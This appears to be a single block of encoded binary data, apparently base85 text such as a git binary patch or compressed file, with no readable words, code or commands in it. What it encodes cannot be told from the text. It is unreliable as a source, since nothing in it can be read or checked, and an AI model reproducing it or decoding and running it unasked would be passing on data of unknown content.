z-ZVQli7&#{HSIRkXK=SN8!Ru#8ECAo*wYPlKO)2adoi?WF%giT@sv@J9rbbSP9FOzy$a1)E%3hp7oJFJL&i@?1-b`-47-=u8m~GL?skv5gi+7RqVB8|1WKJwSs*>MFe7bNMG=u$UO;T85YvTAATNFD_4h|0Gbstn%gmfrUXXu)l%B%s zZEx#tsIH1Tm^`3l#>K6T4h&h`+uDrjUDf{kH~%mA3lD2s?3~<&Sb^T(n-LizMvMu=j_;5pHm1wRFsr3 z(EDIt5%(*pApyyWK>_U1KF=|+d2_Jrgrp~hnMD1L#um)&k;VV`v;L<(KyqjZmKqVk zkrN%6VSiVTtaV1&(AU|0y1lW<|B5cz+`WrE($f=nv#>aV9_X==8CG9XiTOCW9S-&K zlZf&Q!glZ6`M=^>|I;4A^NB510J$+qLB4V+!2#{AmR1U<4jto>6c@(~G;jW|=+1Gu zLzt4R9K#`*J&b3L9>dnmU5mNe*kT5kZ?N6fygAKK>(>8@=loB62y3JJSW|H>mKGVT z2blT709O~@P*0El#I8&|^S>|xRzUye@**rVHc~%1JlN^bE*XN={d@nyou>ZeKXC-Y ze4o?x>&)0_o5ZkS?K)}^#?Lpkukn8(E&r8gwlg!sJ`E0HX|XXHDbZ1TNGU0p!oL0g z%B`mU=09`!auZ!Fv7^>H^v0O*Nzc}{%B*2#?Z#TwZ9IZ(U)6{O^)W*pZuf!^$#W{uTTEu zWE&|V=w&>4;!6{6!vu!tr@ppv6Z{|BID7@YCa?dsosBL}{vLdd-k$8hWc#}zqF*=q zc0bgX`qo5$Kk}#c(68EU81@g>|J;V#e}5ef(f4gMgx|MEpnYBJ+w-8dD*LxK8lLal zZO|6{?mB8?-?g)U(>DIob$a`|;X;?OpSQnI{M+>}GveFt|GAC2^ZoPvuKi^;e7pab z_BZnWuH8oey>H*ornkRMmw&E}8BG%4%lE&vjp_IMHa-7t`|JHCZx5@H{`#BkZ~gi5 z=Ra+KU7&xA$JYh?$M}A2|3SYmZ4Rl)=lRkWm~7&IZnx2Y|J(KKAGW3b_0Z_DrN z;~7m}|N1z;Yfpat>*IXu{g=Q0bNi3pfBpWq_6WuRPxQxV;3EJ{`@TIy2O)gBK7=iT z>wk0id!*=}(SPmezwg?esQumR&+VS?uAz^=Yyacdt>h2yo5ePd4JbD2z73zfyaJq>1jG4d~}skb*9pwZR=o7=HMgUk6RLJ&*+wH>E<_Q zG*=lTt2{VB99B~K5IA~2R6*{|Bje`58E#BR-wB_n-HWZn2pm}N1C>r5g$#%5J`CA; zZ<8=}Y^mS}>?X#DJs^tRuwL1+f3rLxTb7$}470!zeEA7!vwZT_V{+o;)z*x>*u@3d zI;=n`7VAw~#ZrFO_|fQnJNTi!Boj6)>=38mwCnqo*ljK^3)_t)pI>P_6i9ppz$W6@ zYAIr?>vl3vwB~{c%$Ofzxyb9LRCrUKpR?YSv=Z~EAq2a1@aDo@LKuuqS>%rkDv>i* zbt_g2Utwc4Rrx%Ki%)!%X;igd88kx88NE+mYdnQ*`VkgW?yX}oG{%L&VqtwUXiq{D@K2!>0*=1v6 zM_vyH3b2elkDj=XomUSC<6s?X*{wGi+jnSK>a!_PxO<1pOl-tLY9x7hRQS-FRh`n) zjMHZAw={?d3t~GxeeE%Flhnv4E;8OGHgQdS+oo_Y?KvlgM@^wediF48G6A2svRSNs ztmpFXP~>~z+m>s%w*I5hc)ihy?RWZ4eQFu}JfnBub%%w~kP0I<(Pc2+KK_7p)Y@o> zQED2t!kR08t&8iz*`k?4!&&Xc52TE*=AMwByFJN3KQ<{gbTL!Ffw)$&OV+h4%&Rb_ zRwiSH>}4kUgp;gsC%Zpc#l0`Esieg!Xe2ux53Xw-D7x%4IDAQffBSpmJ1|!UT0eVL zpOC>K!p`>%E#4t2B)>u_(xss6{$-*{B~SFa*@{?*m2{W~cSV@mIW@nXPu6bZ?;if} zi2ORHs&uTqvzE_(fy$>jc(?cLMR)pljJy>ajT_H;&uB9EIf}@D$#d?OIpDbTfXgKp zyEkE5d-c-;hZn6paKFU>Q+F>stvN$eYqsEt5N2b6Q6gS8{@{Q@1_jN(n2%4ZX44_J+yH)Imrg8B?= zuIkx|Gh(iGvBI4Gjn;T0?`6W~QtCntt+ILP(?}j+hga4bu+EmjMjQk_5i!jDg0#sC zXMxq5?8kkzZoW=hrEU2#RPe52-GcL--DeyRxCo!X2aZfM-8H%pKIV#d2P-MY-g&nS zQ*Ez{h36eLeMsJe8HWThojzRIrRZ|W!cJUSF5%PJ)=$j(6ZymA9O^wiz78s0gv~km zBEqHG^EGuiE}vNPj!Wv(Q+ygW#5|FGqJLP{vqOnw!h&sJVN=Snd)jJ8Xn0_?cbnf$ z(U7LHYp)XztkXPO$>lJxw0Mz9V_n)C3F1)kwmmEprN?WVEguG+e8XLBZoIoxczC&0 z`eVD)L)o9aM~YNZGV5w?@*m^Cgecg83*8E(^;(*?roCwg1J3k#W_}%Q4nkYOgZ_O4 zOl5*s#jM&{d89+^)9G6wGAwmUBqh$wopOO2^j+-KUNvQU>Gz1tH}Dq;-0v9C6Om&y z>fDN14k<`Y#AC)f6E)GTgRUPv+O`>$2{2$62ly~)UVD~zHEG zbBH6==_27)WTI?MYOc%z!8jhpG{H63Jj~te*VG)ZwQ`#^GdZV8$xrE_`rz1DavS%N z?aUjQtygR%hZ{3;Vl89cfW^-cv#KAu-szZF6F4J2GC*q8CZC(`tS4AEi-r|or;k;S z?%i|aAxlr|yH7eTCsQ;1!o%nD+wGmmu@I=LxNg4O`}S;XC}@*ZN~_qL4Ldc1X1Ffn zzos)^NPGST4co+bg0|~>g|@5v)-BGxQ**^+qr1DEaQDWU$mz4qrpwZ z4`*!p_?7LLk1V~hpNqL?fv{CPRo~w2i1Gz{{l+VcTU0dKOs&s66}&I7Yjv5;Q?s15 zYaCm$QmeO}xqC{^F`)7Ft!t8$qb@HV5F=_A=vuhk_$;bpDxSYtL*c?9&zZ@VDKk_F zVY+O34B6_lYqsQ;ZcPfB7PLj!Lt)qG^LvlejXoZk*dct%bg8GKX-nZ|j=9n-4p>() zm%Kbj-(?@#0t-fc1r2?2V{wgJaZMdQ_=79nyc0!IpEqH~ViT0%j=H`Jw_o}nF_~q?B50jUV^SS&(A)k- zQ{a&sFdIqh}XOH;`H{mt=j(+@n z^8Up3%JrN=tIR^!cXI41G(5G&bx&%5Us0*Hz>)C|X7@R9PHv4@T0nz|U-+(t7vv7E zv~#;N4{K@L%&`v>V3K5+7!nxWI57B8MtU#LyPY4**>5h>3VatIFY(Ij_^Y>a!SRlP zeQTKxyv^9WZo!MkGxvVl#`FHp#zQUrr~BUQJW4&2a;sz&x04F-LaqwVOq@;s&p(Ib zM41Xfd@gntvte4WOqH{|YMK3Esat#=a|)9U+HFNeZ#>?)V?~B_5LcHx%iR!>`>z_a z-mI2)3RFA4TgKk<7)SEXs%7$?tnO;-#A$Vd25QzPxS55p%{^_;a+xLdXB)kEY#6`% zf}*<@gDk^#rl6-a?mIn}xoV^}7oYNoH1~ON-7R@jvcCPbf&LcdFvD2&V;wc2o1Ple{9QpY%?*irVcE zF2ozSn_+8*S*c;qrU%KdvK63=$z6# zJgwp#+o>6*l0LUPir!(yn}~f`;}1f;IUh_&WwK*K(Gx9F1#|9K53b#JSU_2bbOC#< zpgP^$6Vnn;7hT3xlV!as;r&AfO`)_^VLOy|FsWL(J)WmIN5HT^xzYcq_`1ABGJ#w& zN}|SctY;Y-4qjZ_Jl;CAnS)>)zFk4lxGqlgWu@Ph2tR7+yU_9a7wtyXk>kI^nW4JE3;n>1JX|iwA zJiNU5<5AIEJ_&XuJz3suGAycx-R?}U(f7G}A)PRiEH$D-z=(MI1N;GTgF*%g2GnQz ziD}z}-pcpyy28>SC#W@The&p$&kOFHQ4Q{%*>i(zrQ<(^oCHqIrm59%uyP5kGPijB zj|0QclY&bZe0VH%Lz}45P;9F9h(Xnl&zPI-*(|>T-ZY;li+rxtT|aOBkoDS3+e;x# z(YDX6wT($zdD5v(i+9Uj@o4g1_S$je`W`b|r_0l_S6Q+#aII5+WTn1ejW_!}|4@ED zh<25UKou73c5AfJOe|aOoYFn)12&sYBu@NsOz*%trxWT8eQ9btT3-!5@7Hh8`LNjB zu0&MR3#cTzsI*7@NZo7!bq$Ss>7NdVH{U&Lmt2!!sh@09DmOKwT|6;_SC%9esXfEn&lO<=9X8MhhN*-7i4;zaC%wysq>QlG8% zc!rJaJGC|YrNnIXI^}fkX(Tt*HLUma^t?iBRax}HU!nQ%D;{x`HM=Y`AnZ>1{?E2ZIbxfbi_ZXNzI;%cR8Ommirku)E%J)(gS6g6cxlr|lMm zPNtLl;}X1*8sFs_UUYGFjmgY>IN|fSB(g-`=z4Fj>e}tyXDdEAs5FvJ5Vw#+$+i2W z%8%bKW^R4IBC$c#f0Y&6rCmY$UbE}4;>Hg6%n?Ac>GWUTLKFBg3eLp>{?;3gIFBi}|@G*wuv~b(q z_jTGj!!j-@sl>5F*#ib|F5me?BG-}+t7~m{*VE8=veaIh!X_SeQD&!|RovwnJ6$*~ za+U{tJbo?le5-``ndudgYAmaF>M644Xv*G$_ZqO9Wdl4Q(~qIO|=es>r&EqnCEbWGC%C&(|_+QWyBCL(H)8 z0dbE)#;(osd!&V?Ih;Qrd&$zE)b`Bzd--kz!gJ}hHKb+s^{1B`ufAU-=$D#$M?_?e z-~q0Y%H@s9%Ch0%tAiiq=IjV`y)b^%-HPGDpo5uBj;b;IlNuRl6`B7kJaG5{&#pRW z!TU-d!jwG38W^ryTb7z$c2`$#e9=Aqo{Eo%?$|4panU;$QzfYH&c_c;>}9zrYvRCl zY3KXveYsYGH$(V81&E9vA5z;fA}Bd>M}X9~&Yb%ai@Pf(5M*YeBeNi6rjPpbtg^%p zIfk_Pt{>;7h=#2exwWprj8Sm9@@^ppF@{}Ed9U@=*V4Rll7`haHPbJ+%{FL=yjQz1 zDQanE4&~vy9(|3T?i(+uJ4VNk5ip}s<}3khsJtS%b0SwKzaT1uU2qps#c##Iv0#;n z6wms>ZaUZInFNt1zW1=E8Gb$LjoKfQpA$tN zKR@?bv^ujAKa`|Kf2N4}58?$v>{ zWVfEIOp+Np*!x-UStK`$#qrA=vG93p-Er>dKth^C4ES{xNeYyZSZ5-{P~T+IxS~X zbuL_ZRhT&cRkQa*sKAEY2LkZ#u~GlZ?Gv%V9|!bGUkt0QA+m2v_Z%tIB~I6HpS8Gi zv%{u)ADRMdPGk&l9;@&TiJIEHa#G#srtDU5c|B>MF1pg|E=(^8?Ez zZ*@e2r!N^-Ub|-J;&fIX8#XG#eyxtrM(xoPUY=&{*PR0TBC)i^*5^2QRi+=Gw)CKR ziIBMk=S7K;>krg#+!*(29l5tj)PH}(9>+jG>DPPq?L2zidt8Kv<*77N;jDU^hM;q~A(s#}Y9oT4>SnJlC z!4Pcv@|kJFDuzqh{Exy+ma}i1E~*LCv-$LJkIZ=bdF^}mhV$BYTP*7RFnyC@yFv70 z()H;C-8ACE$g)%8Q6qQ7Ce|(7p`X8CtKrR}m^({Xc(dg-OJ_utZh!FMWr>$U@MCs4 zM{UMJ-&Lz9es6kroAb>$EIs5i=Z=issX5ghBSi{(bPSkFwG_>3hgsdZM7e<3WwEr8RNbNy;}$4zyKI_0yNeTxrOrBgrpn+!PNS~+ zxlPob2=O^wukO0cQrxv+uiV=F>@71i{WnS1Ty5`-^*FCVEcNd ztoK$;+2REvvFkX?Z!xMWRq(b2gk&AEY!Q-^Re2NWEh}p=+r&LP?_$K_9+52?sx!?* zCAN9S%Fd40WncX+*Dq~>qQcRKTw7JQ`cpNW@2CaskW1Sha7DPy&WzESu)dAob$!{J z_Etj%xjLotOUtslM6`}Q;r6@EmRC;@I>}wH+rqr`3i5p27FgRmyfgdR@Pvt1a|?wk z*VB}}%u`d77?T>8bc)OPh~#`;vqkrM6P0Gpo3-R!EH(3}=;<{j?4B|L$H>ZNy}RUh zh*)dAaeRNzzuG-D^|;59lw=U!`;6HLza6UN56 z_X#j#hAoY)ajgba9x-la2~4rDn2Sk}NlK_&d5zZD#A`K{DeN6l>^as|=Y?jwg}n%^;5{-^;CV5iR~8(%zD(ad>pO_np}?wvQzzn6S11 zojdO|-*tPAeDqu|q53rR>Nd*+rxj|K{PPxW{J6;Y+PO!swT;~Ldek+}cC0AkVp6(I zFm-uS$EGKjk$vrTY<{NKx|f%(+|#Hk-nT|KUNE7PikZ3l$aAc=+|ppIl$yE9M;trJ z*~jF&yQXcubOGV?@(Z8CtSb&15p|qbO3E%M#N;pB)0}|~c^ge=jHhP}WoBv{XzzB` zj@|I;B9&o&>58>WWrF4@G*!5D+Pf@U33OT<);nx4cYLD5r?9n2z+Ru0cTRsEiqU%2Isj=%fHX&YrX=cuaX>)Ra?3B)LZ zEL=YG7=5|KV^6JfX;H7c8=^f*iVlqIXNh-r;9s~?&gb?cYXQY*{H_lR2dBBTy?eJ( z$tmMCtF9B4o!ULLe{1A;)}EjdksCgY+0Hf&@p$ya2cn|Ts)o^pB6S~jeU}OTL2mbz7Ky9{`qqpXivw4InJo+ldd_t?Uc)t3o8uiQmiVQ zBdNNUQXj|~c!fdzQR4Lcc}$!k$Am-oYi%@iw6)(KyXV?*x01!`x^hb|Zt!=s%vS0) z5AzqarkqJ+Td@jDconf_p-d^qTJOHsA2yY=ycL*HFg(iV-VvW?G8@a?d2O4~SdmTL zf{+Kj;{r`@TD+OxUFqz5u(3NPv4%t9tzU?~h=2qkcmFYqynRO7T!Wr)^ncXX$&cIO zysW5E=9aS3rdHfnrSVQ#de-K#hEXZ()w%R2X~(=&qhrF;W=bfltvi^L zCj{}g8QH3v&BIK$1idXiy`N*mnv<17LLpyfIqPk)xitS3BU{*KEmX2wz0lJ3Ah*1u z5YsdZEShcb=zac>gT<$Go7Q^8%I(W@TYY5K;eOK~1=DDQ1-;l>VhV<(-07SirIJ2< z*~=>{T?>bF^WHBL+Ir1RBd0$?d`SK>2h*{&^G|9%xi~vg|Iy)K8*uO%b{&eAI!$@^ zwnFW>&KAumfm4zd+YBaB579itOvT=~;!s~>=;b90Z)1KiQ@Y7Si8r7Bm~qZUOG_vI zgG^zb32%Z0g>DNxd3=!H{+guVLCd-7mTLRU>lWDtk8a^uw|K;dW4Z`uaJlj6bzbgj zGtH#sXAQL!cwk3$XR7Wxb~62%+u`g=*4Xaz9F#p(+$$yDI~-xaB=Loh2Zlu@$QqW6 z3$d$C)vwpIu-oa@M(UQaKGa}Ikjoo3sXwJj5OP{yx6fh6fXH`TTWc!nz=&WX%W?S z{UJ>F_MiiIM0`-Od9K_?TNV|jTf3E*mGWa-lM4}h-ijHP4Ue&6*+<4kj4*7>MCa31 z+-PjTC}Didpka^Fvb)EuT%7JKDxWPr-+uQRmc@!%qSD$mPgb#WCz zT()f;Q_Q^07o<-oe`Z?cut&a3(Y&qw{+Y^a{A>h8hsH{An(2mHN7O#8=T^yRCT2>y zmik}VHhMo??#;RzYu$|vda%wY6*5}s@qJXf z$g+;xHumyzEe*?_VvbV29HRfwgy^Lq8_7bZ64!9uG=gX0EvEc9l`ti#=P#vmst5C? zEiw$5Zb6A9%uwje=P{KwU4P2hQmAZ3|Hse0A3hhp;|gTwf3e8F$-sKuv(g!l*tF{I+PJ^@RPKAUTldY3n#*Q!^TUt)$YjV;0Hxtl-AB4dtWxT0BbY){3v=f;#`4`z@8)V5q8JZZ9X_Fi=LNc?Y1D?@m-=|*=3S?6hrjMEf( z7gFM6Bq;=jI1#hqD~j`{pSIdiFxRkQo@AB((cw;kdr@;tZ!3{M?wyUfDa#Fyy0~`; zcj$3qSD831S*#~~uIX)?Z{D>)rsaqX+a8AMndN-g1zUn;*rF}c)az^bn0!s!%l!*w zX^jhS@f(IUUNL%J+%LcW+5+P6#K17#U)C)lyU*#9v#g`z!M7qM4V(2lc#dnI^HwY0 z&2)dpT*(=J!W`Q;$dcnsuby9x*0!6`$joj+T47diY!!}4uieYJ^qj%aqQzJ~N5rLo zP{w$(*kws$l(^GPZ??G4UCh+q|C%()b;`w;HXyx=dFIkmw@b&iI&8h?x4zvkj86}9 z>-b<%y9XNy()oN9%N83?X2-BJFZ-~oMW&7N_f2Om;OyqT%6r$*c#GePB_c|J3j@|Z zdJ@FC-h7qt$KDT*W(H2v?9a`2TlnbQ^RuTL`bx`Mw(1UE$n_e~8?zUCFueNhR{I4~ zbEApd%%aB}3x;CZjbe63EN8v-$kJ8%S>D5dlJijt6I&yrw=wVR*doRBD3ML$Ebn^1 z13pS-95XRfb7Q|1=lPtLscx*U5SqAuNQmKl(8Za%m#VIxw_%W*aqXi>wdW@PkEpK- zh_d^>eui#_PHB+t&Y>GY0qK;Gkdp51k`Ry_(xE|0x{;O?kWT6D_|N;h_`Zv|KWFwn zYu8%)*~hc>5v|>6j#@BUTBIt9?md*LTWuO9%%e3S0j+5$rLEj|+kU9qGRR_#$Rq%z zfo^4V9KYK^HLHw0WTN^xciEGyPFLX13OY|s>-7tNH-TrmSKqF>`1=8B$@)67m|7kE z?Q`I5CnC^sGx6L%vH!D`4?g&Op!P$PlUu!M3J|tR69MW+2SP}t`R6zfo4HBqUtlX5 zXW5*z5C)nq+5R5q3IYH_5J?dQBNogaBV+l%J(0YNt|tE_=3VNU%g7WWtY(gGg!hAf zggCW1KRF!|?k;7vK;NVsBfDP7LrkB^+qLs|yW>vTk{%A7PO&T|C?@YgYa<=vK4>c@ zTmT?cZAx@t6j)R5A0IUh;YVEyD5D}kC)WJLq`M(aB8Oy&J;fh-6XK_BA`il#_ToH9zBqj?* zg>0FFa})RR#7>G(2$m1Te;id?WKKlRlJ*S}td^}yPLocrLFo$;EC$NFHWDPx1tm}7 z;bsaT)#wjC^U9AQUBa08Onl6$xH86sgnEKwF0>v}7R$7Y5$G{(VLUu&Ge`YD zN5BkJ92Ei?nVG>c`OFwwg?PizK4)$uf^LH))|m4TTB$dp_K7AP0h{}O)jU1B7!pY%6591d%&Iww7x0Gt&Nsxxm7^rfcnnkH|jM znp?;*echxeV0486@(k8*+yn4Kp{*2(k@jUNYY|~auVyi~vVZQ4JtnGV|4Aej1Ocj70~ z-Q-AKeW`*E*r8*B1l)g?yAKc5q~*RbxqO>r6d^;&poR2KB3i7O#VJevzIj(3ASsX& z?8Ev+qE~J`uetSG#*r=2o;Gp^yH>`n*SJ;+wy-^$s}?(2<08k0P!J(x9W(A6Pr*Az z+-ZUC;==0R30eF(-$2%d=`&+q({-WLS>D-XJLwT=0L1OMjN6C=Jkd#|YiAA913q&ymLyCQS5zaW^r_JU70_AlaNNv`@3 zaS2&!WV_VgwyVQNXg+tHk!r4PX+5jtlW)jXphX4siG(q9k;bm6V%^i*$BCpe{Q4H> z=5I50lo?K6*uQPbmMHF3@B1izk;v z+Dqeln9XP(RRJQ4D1-hWhP&aAC8%1`8$8=8V1|_+fhSXh{*5>HqJdYFHo+iT?o7`- zPX3FqCOQ&25w>su(-)?~DEV&YDgVu@d3@H>&CbKy$P5#J^hde)8XWA+@hHVwZOe zU3w|B1kslBGp+L7JV! z3dgD)(}&`d^NDP!)$DFlj3VBr!%uIXru`E46!QXR?fqFkQC+0vIARPe4>yi@zuRWH2*DahmeC#gV7`B?-S zP}mJnKmFk|gT6u@=lQJ_bd3C2L(W>;tQ(6iqCtyG6YuNWX+}+C3WYBvV7%MlL1wP8 z@nbXMKAVc|iH7mitgIDXsj$lK@CM)U6`{pHi+%8~V!yGlbVHUpI|-x&PB~U@E4h4f z+UbTQ?>fX7aWrF(c_anzTP0SYOFXH9>YwCF#r{tx((Hw zPIsg8GL_LfIxV|JQsX9NWB#r%rM1S*BS)CmT?2Ap=ePcdk@Jr(4FAqH>bET#p7g(V zyx9bV$dEAKh`T*HzRD`6<7)%`kQCguAB#hT50OH0K#<&d9NN9v&#v)t@|}0m#f32s zq5Ii4lCC?I;hPM)8?2xF*}(&aK@BLJ%4_}*eZoJBE8#Z*g36=x<2<$MF*FG}+m>XT zy5-B=3-!3`9S>C9`8WUK-6C`-PFEgIdOcsBs|y)a@c};VbYoMbgLZgNIfy2I*^br) zXS`Tx3h5*H^aGTgb>j`7ZSKH;(tjy|a}O_ycd<@nv%`aWzQp%ylH+143%sV~J!b9O z?8@LqmTNr+Q~q4$j3Nx}2Fshsm0It{xp-*M*eJ>e{Nm1exORG4N$b4n4J5dsG+a3m zvy53qfxGW%xG8uxRO*~UYs~ZLj&1w!7yUubcKF4ITYB;&UR5a6CR9n4U$FhVC_aOZ zm3S2f^^zTiUNn{{H3G^LNai$Jb+nF795}v?FaE3F>i%!1G8uLmFi#TLFcC``xl2Fm z`AlL10H#+urmed^2ZF|>vpv;;Ylye$4^&_}3=AbG)Ji9{;tFAAK`*16xS=+g9vmCm zP@XJEo!oC@t|mT0B2Q+IK!g`V069R$zZ#_b6BO}nJb3PM)2^y!haNmIwLUKLp%Tjh zZO#B*J#o*4R3h_u>TLgjtzA^1sI_E88|f^_ad|`99$O z<*c&5Wl8f%J={k&I|zayLLigDA_M5m9uGxOln%ytF>t4^^P-Z7b2D5<%BD8Cl5anW zSSCuOGbn#t`V^XpiI@G&zH~`!cHwSXy?<6}$;foj)9)s4?)mr_P0nz<#Zm8_C^j=A zK$#iT!M>@1HLdx%vi`IjDI0`~|V3sS)D# zGpv~L5g8SKYi(jx=tUvveWg(rH`;)VYC_|>2LTD}Wcv1Q+p5=f$o4T$9YQ6ymtL|+ zK;7A)?*aWAS_wC~c_ASmoU z^19?syo6A-@D)wGCYqKGW#ur!fPS-zq_{N;emfFS2D225#gZhJ@vb{{)sja+F#@_0 zUramEfZI8#Tb=(h9v9RVI8#EJ@%gN&Bl!tm2>k0i*6~wp%Mk zzuH0npoLgkjWQKN?(M(49$C}pSv9q+AH2Wbz8>HuC5E~zzG1Vgf+a2n!)V^CKUKHV%4^iGGL^gmZ_KsWN`cjAW)yZ=o7s51I z0b(p1W19)CJ~e)RtdVqvk3je)j2BSMUvV2EafY5XP_M)}uh)o*iv|%Cts@ z=jXkCVL8i^D7_$D)TfI1C5iPoZ_mM4sDi%g;Z5lO#5*rd9?lLe-X+dAr)wTjBKKwqh>$iTuLBt=u0NUV7f>N}*8{rn>3x8A6I8=++(%6#_A zJk!u=EYUADEu&rOw5$a&H~wpu|B**~nvQNNdF8`};B0ks*50`K*SMP}FL#}?ox5)y zgK@|tG5Ya>OE9z@yJ{B{mJJhoGI$zv)xjaqot@^ z6!RPLQDJRYM*V3wV`Eim&jAv2->g`EE^B0e=Tb?P4_-G5dNvC?5c*VaZjzCc>D^^u zI65}*X>@E1MRrI3D`WYQZtLHb1zlhbW++XAn9osU3@9`3=wwFS&{%dwuvP}5AcE&u z-~Aq_RSc)8;6^CZ$`A!}cXtnTt`;&O0l#IFS}Y{rvhU;ZRd8sfBRCZvXzKfZ`> zn4(VP=+98@bFm;{8ONxhO<}0oj1!TI@uhLa>mpC}rIGIk=WYP&@nitg_~=u7<gyfhG^N+=@?cCTGo?P`RJTV4hN?zXCfiT^kPi9^9-LoXaU@m4hYNu|L9NH5=~gyFAnlpcWf3^1R0=gF{g!dt$!|04TUvY<~1dn z1ws)k1211TPfbKQ7Nj6POb<(N6sr;CyOo~JTDz=%pJ>Rp)_wm8BCy%NViK0W3hLqh&q#AnZ6c?^_x&xj;z3<43mY5A`|9P- z4!4@+)7JKtqhsTT@E=N?)d~A-_Nn86N@&(eUcQem%)0xaJy_zhY-9g4h` z!blA-3L>7PDB#jTcg~U>+lFr0tO_eF@JSEeu71jUS;j7x++}zgwJ9t0()rK%1m>!j zdtSfytZ8lJ0sf;mq80w^;hMFr;X#=bX&!z(k%3>Rwemi?%xwhX{56S& z^wPJvy$*-k&mzYdhYoku^IA=0`p5u4M8?LM_>4*cEnpUpnZgB(m`*R$yyUdg#cOCF z2va4u%mOUR92K!SAWO30vt8OSy|e1ixB|o|Spgk;CSy|8@BTfjy0e!tOqJo2)FLrq z+LLx;v@z;YJRzxR{R4x0zn(Q~r*{m0r*!DYs~PX%wj%FACz4R@;-Pbs55kVvdGLRu zR!icv2PEMt4n@*)|Ay#Pv#j&tNhsvgBMC#4SyCU5>^(C2ulR@TawPU|0ev@)W-C*DapDwS%Xjovg0)?qYy zxAqfXgQcJ{Urst|&L06k{050eF6+yygU9}Gbu{%>ZtV{RK3=Fg&gDAcY>0S`G+&~7 zmjA4zu*%LFkeEGoy9nl6;1JUgo+g1|n?Sc%?0q|fEII@eNfhVzJKEb=&7)+V7MZi; zL3s0Tu9{S47^?1j8#psTaido0&_P+{bRr*79d_#Gy1!Dd%)wO zvlgRs-mI!pKjK=cI+`BcyEk)Z1Q>CjUEj*-Sw2%w$GogL5N3(szuYvp1U?Rplos zF+HOw5td!$d7moy#Xlfh?t1fWPPm;~d7;~<%ipR~dW4r96;a#>pqf@pEEEX`hr`n}HX(z#Kb!jH zPjd|F#j`4?AG4PwCFtdG-8&w)Q<>edecc1fe)jm-Bc9}upf`e)O?&)pis_98{tqN}ZY6=Z0 z77BBFQ)R`hGXA{sbVXW8^eY^NyW#zv0`QguM%#Oc6DHJV82nQbi9imjt?&3JI(nH5 zU=0L*|3o7d^0V}Mqsx6wKx#waKKC~71*9DiaSCj=;ckv?%qj||%0|Is}RWFx(FQia%tk1HcfhZ2? znS18Eepnx{>uYXw65G%JQoI?_X}^N0YLbA7f_@-F`M}Wx9%Ta`AKHyCAN(sS95P1U zSB-%$K7#p`YPwOIeuz7TIJDWPes#j{ccCsiQ1qre{LavM@Yfi-H)yl7#o}*mNC*vS zaE9=YqNvza?oh0Ja?C(UBvNYAcj`=EekuUS{B~IUIDMW$;K9fO(s?TOUfo_fcSit8 zX`4F94GTzh9_UkCI3+{SKw_zi(5ztkJ`##nRp|f%G^lb{|8vED3Q=GNuJX|YLf6gu zlwJ99a#|dsK84y2l1^I-Cg_9PXiyM>QM9#}RPszWHJmDf!|9?Fn%0T4*2%wz3Hl4< z2$Ajxdmhu>hX$zXXxxFnv@9$XXWnso+=u$A{H90C3b%WIEh%R{F|Zt&Kdfn9Mq8s< zXsSsO&=*7m4hgO{beYp$fQ(}F&7}mH{{>ABeFTHzTrEkiEu;Ymd#c6bqn1=s`KI(J z&3RkU4f6T0e^jb*7E|oNsdCica`GzHAEkD#YTtuV5#R`Tdh98V0^FV|QYWHw5I|H| zRp?Y4q6WjcP^9zGf~p@8vkHM=O_noW*-H5$JUNsc7_`D?%Swx9SB{7D(8A3gRXPOD zVwqD_(#R2&{AR^*H2T9PwON3Y*ocrS$zZj!@eY<9U?xpWWT-_ETXSFNDh=TV3I1`Z zoh%@`{?2xn3}RMauev74_G|kEOlHS@K2#ZXPfiBHKic7^p(^vWY7$e4_zDjE$k+oD zP;rl&@I^SaZ+H7P2A(RulfR6N9=I`#7F9zcE28pwA}XYFofQ@+Se2RkbQ;d6_oX|C;jX+T)#; zzOeT>lC||uLHh=8H@B}Sp|o~+APYM=u?)tT&&=HbL5%Do`&!wG?Ak9vQ>Fobw&71l zuQhFOu2$za@~>`~T0sI#@rwIFTAgp^c=H?o=|-Uq^FkQziFee151gt;vIC1tEi*&s1Y zxgBiexuej?D{<7ZOKVx561}S;Ub>VtYibIQk9R~u|7+Lu)}CWL`(xqK$3f&zXx=70 z54DKg=52cx1=T(#S>PvIcBBK5;2}dzJS5q)Bt>J&8HJNh9E+3~NDAh2|A#TA*h1K5 zBa4mzs7p|zA99Iz*=;F|0j_-|;}a2tiuGGUOsusj60x3_6h~1mtTe9`3-H?NhC^8S zU-xD<1jx~M#W2DyT5tle7X!m)g^R`Bto~@(h?8*3#-%w=#x;#~oWU%^KTyMu{E?Qg zgJ&tDSq9)kN7I#pZW!;|LE}<^c&srCnIb>lSZ925q<29vT=I`oke@mHR`D$42f+Fy zm_8zGh8v((^2BoEJj&fw4ZT#iB5gVZK?q;kZCr#Dsb}8IAYsm))#h6;!jmFl$`9X0 zOW9SiB9Vtf@NM;Ue~t6*B~KBt(K>V8a`%+NMAXi*)~e6|0&a{SAUlF?JiDFjf%-tk z$o_^D9HwdW5a^ecw;-go{oMg@9e*_D3MPYXJw*igsJ)GA^5n$A-;rS4fKu{D9J`zF z=UebkKF8FwVJCfsDrx_!PYz>j`>rVk+*u8L9>`SoNt(r%ztwP9)r;;^7P^Y?{%swb zrbNMFyKh@Ini@99XW!^G&~fzI5mKFX(<=p`H8cAykq6GaUSDrx|5R6cpzz_~Escnd za)hy$1vcP(@~zZ$qnhYA1^^cow6X$PRcZk2Bjh)_0)>{&X=1sPk(Ou896c8lL*t)> z%w&m262ouj57oye(RFI;{-q*fP6@6Rm7muBy^+MWg|z0FyLgi=XA%>JNe712LFWY> z#E4SUzL)m&fO|vOSomO3syf(+kb1Az@4U$|L*}}_GhL~<0!)d>?h#rfGMf{YwS@U% zb>X)Gvx(?(V?k3ty%@A)&_oYpy~>zJbYveX4O@Kz?R;9C_{U4V;$1wEf(C}(Nd&zL z@&JYpF2rT&UpjdIYU6{OVP0>NKGj$J+j3Jb@)k|Ij)VpIr}t@T-tt0?O!w%0XLca~hgLS> zZ`8N~-{{+P<|?w?dsYOuk_Px>**FsZUJ28{;V}tOd&K1};}K22G?nEz$CuuvSR-Ok zO(RJ2(-IwHMZK$8x6@d8BYZwUD4|X%BNm$-#I1X9Wfe`A7a4{xw)Cyp=Z-bk&?H11 zKf7a>T{OpoP>{)tKdz64IsWd6e957h*@}rII1#IjaoY!@x5}y%g3aP8*uVEL{0rbiT6rYdtHPSf4#R-q1hg zpR+c;>rmZ~siW$_C<*Hrgge`yoE#1Z$CHhoepOp{(F{`~x$)ul~s+cIoX&mW;cXJ6DkQ$vG>B=&Dk{YTy;}5zfzL{mWJf 